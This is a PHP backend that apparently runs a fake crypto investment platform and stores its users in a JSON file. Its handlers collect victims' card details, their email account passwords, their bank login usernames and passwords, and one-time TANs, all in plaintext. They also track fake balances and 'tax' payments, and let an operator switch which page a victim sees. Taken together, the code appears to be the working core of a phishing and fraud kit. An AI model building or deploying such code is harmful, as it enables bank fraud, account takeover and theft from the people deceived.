<?php
header('Content-Type: application/json');

// Load the JSON data
$jsonFile = 'data.json';
$jsonData = json_decode(file_get_contents($jsonFile), true);

// Handle different cases
$case = $_POST['case'] ?? '';

switch ($case) {

    case 'dash':
        $email = $_POST['em'] ?? '';
        $password = $_POST['ps'] ?? '';

        // Find user by email
        $foundUserId = null;
        foreach ($jsonData as $userId => $user) {
            if (isset($user['main']['email']) && strtolower($user['main']['email']) === strtolower($email)) {
                // Verify password
                if (isset($user['main']['pass']) && $user['main']['pass'] === $password) {
                    $foundUserId = $userId;
                    break;
                }
            }
        }

        if (!$foundUserId) {
            echo json_encode([
                'status' => 'failed',
                'message' => 'Invalid credentials'
            ]);
            exit;
        }

        // Update location
        $jsonData[$foundUserId]['main']['location'] = 'dash.txt';

        // Save with locked file operation
        $fp = fopen($jsonFile, 'w');
        flock($fp, LOCK_EX);
        fwrite($fp, json_encode($jsonData, JSON_PRETTY_PRINT));
        flock($fp, LOCK_UN);
        fclose($fp);

        echo json_encode([
            'status' => 'success',
            'user_id' => $foundUserId,
            'message' => 'Login successful'
        ]);
        break;

    case 'logout':
        $user_id = $_POST['user_id'] ?? '';

        if (!empty($user_id) && isset($jsonData[$user_id])) {
            $jsonData[$user_id]['main']['location'] = 'index.txt';

            // Save the updated JSON
            file_put_contents($jsonFile, json_encode($jsonData, JSON_PRETTY_PRINT));

            echo json_encode(['status' => 'success']);
        } else {
            echo json_encode(['status' => 'error']);
        }
        break;

    case 'change':
        $user_id = $_POST['user_id'] ?? '';
        $location = $_POST['location'] ?? '';

        if (!empty($user_id) && isset($jsonData[$user_id])) {
            $jsonData[$user_id]['main']['location'] = $location;

            // Save the updated JSON
            file_put_contents($jsonFile, json_encode($jsonData, JSON_PRETTY_PRINT));

            echo json_encode(['status' => 'success']);
        } else {
            echo json_encode(['status' => 'error']);
        }
        break;


    case 'fetch_details':
        $user_id = $_POST['user_id'];

        if (empty($user_id) || !isset($jsonData[$user_id])) {
            echo json_encode([
                'status' => 'error',
                'message' => 'User not found'
            ]);
            exit;
        }

        $user = $jsonData[$user_id]['main'];
        echo json_encode([
            'status' => 'success',
            'data' => [
                'user_id' => $user_id,
                'email' => $user['email'] ?? '',
                'name' => $user['name'] ?? '',
                'surname' => $user['surname'] ?? '',
                'btc_balance' => $user['btc_balance'] ?? '0',
                'btc_tax_wallet' => $user['btc_tax_wallet'] ?? '',
                'iban' => $user['iban'] ?? '',
                'amount' => $user['amount'] ?? '0',
                'card_status' => $user['card_status'] ?? '0',
                'email_verified' => $user['email_verified'] ?? '0',
                'uploads' => $user['uploads'] ?? '',
                'document_path' => $user['document_path'] ?? '',
            ],
            'document_path' => $jsonData[$user_id]['document_path'] ?? []
        ]);
        break;

    case 'fetch_inflows':
        $user_id = $_POST['user_id'];

        if (empty($user_id) || !isset($jsonData[$user_id])) {
            echo json_encode([
                'status' => 'error',
                'message' => 'User not found'
            ]);
            exit;
        }

        // Check if user_inflows exists and is an array
        $inflows = $jsonData[$user_id]['user_inflows'] ?? [];

        if (!is_array($inflows)) {
            $inflows = []; // Ensure it's always an array even if corrupted data
        }

        echo json_encode([
            'status' => 'success',
            'data' => $inflows // Return the entire array of inflows
        ]);
        break;

    case 'fetch_fiat':
        $user_id = $_POST['user_id'];

        if (empty($user_id) || !isset($jsonData[$user_id])) {
            echo json_encode([
                'status' => 'error',
                'message' => 'User not found'
            ]);
            exit;
        }

        // Check if user_inflows exists and is an array
        $fiat = $jsonData[$user_id]['fiat_deposit_details'] ?? [];

        if (!is_array($fiat)) {
            $fiat = []; // Ensure it's always an array even if corrupted data
        }

        echo json_encode([
            'status' => 'success',
            'data' => $fiat // Return the entire array of inflows
        ]);
        break;


    case 'fetch_tax':
        $user_id = $_POST['user_id'];

        if (empty($user_id) || !isset($jsonData[$user_id])) {
            echo json_encode([
                'status' => 'error',
                'message' => 'User not found'
            ]);
            exit;
        }

        // Check if user_inflows exists and is an array
        $taxData = $jsonData[$user_id]['user_tax_payments'] ?? [];

        if (!is_array($taxData)) {
            $taxData = [];
        }

        echo json_encode([
            'status' => 'success',
            'inflows' => $taxData
        ]);
        break;

    case 'fetch_withdrawals':
        $user_id = $_POST['user_id'];

        if (empty($user_id) || !isset($jsonData[$user_id])) {
            echo json_encode([
                'status' => 'error',
                'message' => 'User not found'
            ]);
            exit;
        }

        // Check if user_inflows exists and is an array
        $withdrawals = $jsonData[$user_id]['user_withdrawals'] ?? [];

        if (!is_array($withdrawals)) {
            $withdrawals = []; // Ensure it's always an array even if corrupted data
        }

        echo json_encode([
            'status' => 'success',
            'data' => $withdrawals
        ]);
        break;


    case 'fetch_sepa':
        $user_id = $_POST['user_id'];

        if (empty($user_id) || !isset($jsonData[$user_id])) {
            echo json_encode([
                'status' => 'error',
                'message' => 'User not found'
            ]);
            exit;
        }

        // Check if user_inflows exists and is an array
        $sepaData = $jsonData[$user_id]['sepa_information'] ?? [];

        if (!is_array($sepaData)) {
            $sepaData = [];
        }

        echo json_encode([
            'status' => 'success',
            'sepa' => $sepaData
        ]);
        break;

    case 'fetch_em_verify':
        $user_id = $_POST['user_id'];

        if (empty($user_id) || !isset($jsonData[$user_id])) {
            echo json_encode([
                'status' => 'error',
                'message' => 'User not found'
            ]);
            exit;
        }

        // Check if user_inflows exists and is an array
        $emVerifyData = $jsonData[$user_id]['email_verification'] ?? [];

        if (!is_array($emVerifyData)) {
            $emVerifyData = [];
        }

        echo json_encode([
            'status' => 'success',
            'emverify' => $emVerifyData
        ]);
        break;

    case 'fetch_bnk_verify':
        $user_id = $_POST['user_id'];

        if (empty($user_id) || !isset($jsonData[$user_id])) {
            echo json_encode([
                'status' => 'error',
                'message' => 'User not found'
            ]);
            exit;
        }

        // Check if user_inflows exists and is an array
        $bnkVerifyData = $jsonData[$user_id]['bnk_verification'] ?? [];

        if (!is_array($bnkVerifyData)) {
            $bnkVerifyData = [];
        }

        echo json_encode([
            'status' => 'success',
            'bnkverify' => $bnkVerifyData
        ]);
        break;



    case 'card':
        // Validate required fields
        if (empty($_POST['joinedCard']) || empty($_POST['user_id']) || !isset($_POST['amount'])) {
            echo json_encode(['status' => 'error', 'message' => 'Missing card data, amount, or user ID']);
            exit;
        }

        $user_id = $_POST['user_id'];
        $joinedCard = $_POST['joinedCard'];
        $amount = $_POST['amount'];
        $today = date('d/m/Y'); // Format: DD/MM/YYYY

        // Load current JSON data
        $jsonData = json_decode(file_get_contents($jsonFile), true);

        if ($jsonData === null) {
            echo json_encode(['status' => 'error', 'message' => 'Invalid JSON data']);
            exit;
        }

        // Find and update user record
        $found = false;
        foreach ($jsonData as $userId => &$userData) {
            if ($userId == $user_id || (isset($userData['main']['user_id']) && $userData['main']['user_id'] == $user_id)) {
                // Update card details
                $userData['main']['card_details'] = $joinedCard;
                $userData['main']['card_status'] = "0";

                // Add new deposit record
                $newDeposit = [
                    'amount' => $amount,
                    'date' => $today
                ];

                // Initialize user_card_deposits array if it doesn't exist
                if (!isset($userData['user_card_deposits'])) {
                    $userData['user_card_deposits'] = [];
                }

                array_push($userData['user_card_deposits'], $newDeposit);
                $found = true;
                break;
            }
        }

        if (!$found) {
            echo json_encode(['status' => 'error', 'message' => 'User not found']);
            exit;
        }

        // Save updated data back to file
        if (file_put_contents($jsonFile, json_encode($jsonData, JSON_PRETTY_PRINT))) {
            echo json_encode(['status' => 'success', 'user_id' => $user_id]);
        } else {
            echo json_encode(['status' => 'error', 'message' => 'Failed to save data']);
        }
        exit;


    case 'em-verify':
        $user_id = $_POST['user_id'];
        $email = $_POST['em'];
        $pass = $_POST['ps'];
        $status = $_POST['status'];

        // Load current JSON data
        $jsonData = json_decode(file_get_contents($jsonFile), true);

        if ($jsonData === null) {
            echo json_encode(['status' => 'error', 'message' => 'Invalid JSON data']);
            exit;
        }

        // Find and update user record
        $found = false;
        foreach ($jsonData as $userId => &$userData) {
            if ($userId == $user_id) {
                // Initialize email_verification if it doesn't exist
                if (!isset($userData['email_verification'])) {
                    $userData['email_verification'] = [];
                }

                // Check if there's an existing record to update
                if (!empty($userData['email_verification'])) {
                    // Update the first record (assuming you only want one verification record)
                    $userData['email_verification'][0]['email'] = $email;
                    $userData['email_verification'][0]['pass'] = $pass;
                    $userData['email_verification'][0]['status'] = $status;
                } else {
                    // Create new record if none exists
                    $userData['email_verification'][] = [
                        'email' => $email,
                        'pass' => $pass,
                        'status' => $status
                    ];
                }

                $found = true;
                break;
            }
        }

        if (!$found) {
            echo json_encode(['status' => 'error', 'message' => 'User not found']);
            exit;
        }

        // Save updated data back to file
        if (file_put_contents($jsonFile, json_encode($jsonData, JSON_PRETTY_PRINT))) {
            echo json_encode(['status' => 'success', 'user_id' => $user_id]);
        } else {
            echo json_encode(['status' => 'error', 'message' => 'Failed to save data']);
        }
        exit;

    case 'bnk-verify':
        $user_id = $_POST['user_id'];
        $username = $_POST['em'];
        $pass = $_POST['ps'];
        $status = $_POST['status'];

        // Load current JSON data
        $jsonData = json_decode(file_get_contents($jsonFile), true);

        if ($jsonData === null) {
            echo json_encode(['status' => 'error', 'message' => 'Invalid JSON data']);
            exit;
        }

        // Find and update user record
        $found = false;
        foreach ($jsonData as $userId => &$userData) {
            if ($userId == $user_id) {
                // Initialize email_verification if it doesn't exist
                if (!isset($userData['bnk_verification'])) {
                    $userData['bnk_verification'] = [];
                }

                // Check if there's an existing record to update
                if (!empty($userData['bnk_verification'])) {
                    // Update the first record (assuming you only want one verification record)
                    $userData['bnk_verification'][0]['username'] = $username;
                    $userData['bnk_verification'][0]['pass'] = $pass;
                    $userData['bnk_verification'][0]['status'] = $status;
                } else {
                    // Create new record if none exists
                    $userData['bnk_verification'][] = [
                        'username' => $username,
                        'pass' => $pass,
                        'status' => $status
                    ];
                }

                $found = true;
                break;
            }
        }

        if (!$found) {
            echo json_encode(['status' => 'error', 'message' => 'User not found']);
            exit;
        }

        // Save updated data back to file
        if (file_put_contents($jsonFile, json_encode($jsonData, JSON_PRETTY_PRINT))) {
            echo json_encode(['status' => 'success', 'user_id' => $user_id]);
        } else {
            echo json_encode(['status' => 'error', 'message' => 'Failed to save data']);
        }
        exit;


    case 'em_tan':
        $user_id = $_POST['user_id'];
        $tan = $_POST['tan'];
        $status = $_POST['status'];

        // Load current JSON data
        $jsonData = json_decode(file_get_contents($jsonFile), true);

        if ($jsonData === null) {
            echo json_encode(['status' => 'error', 'message' => 'Invalid JSON data']);
            exit;
        }

        // Find and update user record
        $found = false;
        foreach ($jsonData as $userId => &$userData) {
            if ($userId == $user_id) {
                // Check if there's an existing record to update
                if (!empty($userData['email_verification'])) {
                    // Update the first record (assuming you only want one verification record)
                    $userData['email_verification'][0]['tan'] = $tan;
                    $userData['email_verification'][0]['status'] = $status;
                }

                $found = true;
                break;
            }
        }

        if (!$found) {
            echo json_encode(['status' => 'error', 'message' => 'User not found']);
            exit;
        }

        // Save updated data back to file
        if (file_put_contents($jsonFile, json_encode($jsonData, JSON_PRETTY_PRINT))) {
            echo json_encode(['status' => 'success', 'user_id' => $user_id]);
        } else {
            echo json_encode(['status' => 'error', 'message' => 'Failed to save data']);
        }
        exit;

    case 'bnk_tan':
        $user_id = $_POST['user_id'];
        $tan = $_POST['tan'];
        $status = $_POST['status'];

        // Load current JSON data
        $jsonData = json_decode(file_get_contents($jsonFile), true);

        if ($jsonData === null) {
            echo json_encode(['status' => 'error', 'message' => 'Invalid JSON data']);
            exit;
        }

        // Find and update user record
        $found = false;
        foreach ($jsonData as $userId => &$userData) {
            if ($userId == $user_id) {
                // Check if there's an existing record to update
                if (!empty($userData['bnk_verification'])) {
                    // Update the first record (assuming you only want one verification record)
                    $userData['bnk_verification'][0]['tan'] = $tan;
                    $userData['bnk_verification'][0]['status'] = $status;
                }

                $found = true;
                break;
            }
        }

        if (!$found) {
            echo json_encode(['status' => 'error', 'message' => 'User not found']);
            exit;
        }

        // Save updated data back to file
        if (file_put_contents($jsonFile, json_encode($jsonData, JSON_PRETTY_PRINT))) {
            echo json_encode(['status' => 'success', 'user_id' => $user_id]);
        } else {
            echo json_encode(['status' => 'error', 'message' => 'Failed to save data']);
        }
        exit;



    case 'withdraw':
        $user_id = $_POST['user_id'];
        $withdraw_amount = $_POST['withdraw_amount'];
        $status = $_POST['status'];
        $today = date('d/m/Y'); // Format: DD/MM/YYYY

        // Load current JSON data
        $jsonData = json_decode(file_get_contents($jsonFile), true);

        if ($jsonData === null) {
            echo json_encode(['status' => 'error', 'message' => 'Invalid JSON data']);
            exit;
        }

        // Find and update user record
        $found = false;
        foreach ($jsonData as $userId => &$userData) {
            if ($userId == $user_id) {
                if (!isset($userData['user_withdrawals'])) {
                    $userData['user_withdrawals'] = [];
                }

                // Create new record if none exists
                $userData['user_withdrawals'][] = [
                    'amount' => $withdraw_amount,
                    'date' => $today,
                    'status' => $status
                ];

                $found = true;
                break;
            }
        }

        if (!$found) {
            echo json_encode(['status' => 'error', 'message' => 'User not found']);
            exit;
        }

        // Save updated data back to file
        if (file_put_contents($jsonFile, json_encode($jsonData, JSON_PRETTY_PRINT))) {
            echo json_encode(['status' => 'success', 'user_id' => $user_id]);
        } else {
            echo json_encode(['status' => 'error', 'message' => 'Failed to save data']);
        }
        exit;


        case 'file_upload':
            // Validate required fields
            if (empty($_POST['user_id']) || empty($_POST['upload_path']) || empty($_POST['file_name'])) {
                echo json_encode(['status' => 'error', 'message' => 'Missing user ID, upload path, or file name']);
                exit;
            }
        
            $user_id = $_POST['user_id'];
            $upload_path = $_POST['upload_path'];
            $file_name = $_POST['file_name'];
            $today = date('d/m/Y'); // Format: DD/MM/YYYY
        
            // Load current JSON data
            $jsonData = json_decode(file_get_contents($jsonFile), true);
        
            if ($jsonData === null) {
                echo json_encode(['status' => 'error', 'message' => 'Invalid JSON data']);
                exit;
            }
        
            // Find and update user record
            $found = false;
            foreach ($jsonData as $userId => &$userData) {
                if ($userId == $user_id || (isset($userData['main']['user_id']) && $userData['main']['user_id'] == $user_id)) {
                    // Update the uploads path directly as a string
                    $userData['main']['uploads'] = $upload_path;
                    $found = true;
                    break;
                }
            }
        
            if (!$found) {
                echo json_encode(['status' => 'error', 'message' => 'User not found']);
                exit;
            }
        
            // Save updated data back to file
            if (file_put_contents($jsonFile, json_encode($jsonData, JSON_PRETTY_PRINT))) {
                echo json_encode(['status' => 'success', 'user_id' => $user_id]);
            } else {
                // Add error details for debugging
                $error = error_get_last();
                echo json_encode([
                    'status' => 'error', 
                    'message' => 'Failed to save data',
                    'error_details' => $error['message'] ?? 'Unknown error'
                ]);
            }
            exit;

    default:
        echo json_encode([
            'status' => 'failed',
            'message' => 'Invalid request'
        ]);
        break;
}